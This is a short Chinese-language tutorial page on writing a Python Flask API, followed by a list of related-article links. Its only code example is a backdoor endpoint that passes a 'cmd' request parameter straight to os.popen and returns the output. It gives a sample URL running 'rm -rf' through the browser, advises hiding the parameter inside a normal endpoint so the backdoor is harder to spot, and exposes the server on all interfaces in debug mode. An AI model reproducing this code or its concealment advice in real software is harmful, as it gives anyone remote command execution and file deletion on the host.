如何用python写接口

如何用python写接口?具体步骤如下: 

1、实例化server

2、装饰器下面的函数变为一个接口

3、启动服务

开发工具和流程:

python库:flask =》实例化server:server = flask.Flask(name) =》@server.route('/index',methods='post')

=》def index(arg):{}

例子:

复制代码
import os
@server.route('/error',methods=['get'])
def cmd():
cmd = flask.request.values.get('cmd') # 接口入参
res = os.popen(cmd) # 执行用户命令
return res.read() # 返回执行结果
# http://127.0.0.1:8888/error?cmd=rm -rf a.txt 后门接口可以直接通过浏览器删除项目文件
# 隐蔽一点的方法,把cmd = flask.request.values('cmd',None)写入正常接口
# 默认可以不传,一但传了再res = os.popen(cmd)
server.run(port=8888,debug=True,host='0.0.0.0') # 启动服务
# debug=True,改了代码后,不用重启,它会自动重启
# 'host='0.0.0.0'别人可以通过IP访问
相关推荐
sycmancia3 分钟前
Qt——Qt程序打包
开发语言·qt
郝学胜-神的一滴7 分钟前
Qt 高级开发 026:QTabWidget御道,从筑基到化境
开发语言·c++·qt·程序人生·软件构建·用户界面
Jun62611 分钟前
QT(14)-UBUNTU下QT使用串口
开发语言·qt·ubuntu
Jun62611 分钟前
QT(16)-云端版本管理
开发语言·qt
ggaofeng12 分钟前
试用zeroclaw
java·开发语言
~|Bernard|24 分钟前
关于go语言中二维切片的append操作陷阱
开发语言·后端·golang
c++之路27 分钟前
C/C++ 全链路编译工具汇总
c语言·开发语言·c++
c2385628 分钟前
C++的IO流深入理解(下)
开发语言·c++
Cloud_Shy61829 分钟前
解读《Effective Python 3rd Edition》:从练气到老魔(第四章 Item 27 - 29)
开发语言·人工智能·经验分享·python·学习方法
简简单单lym32 分钟前
WebRTC进阶--red+ulpfec深度解析3-FEC--冗余控制机制深度解析
开发语言·webrtc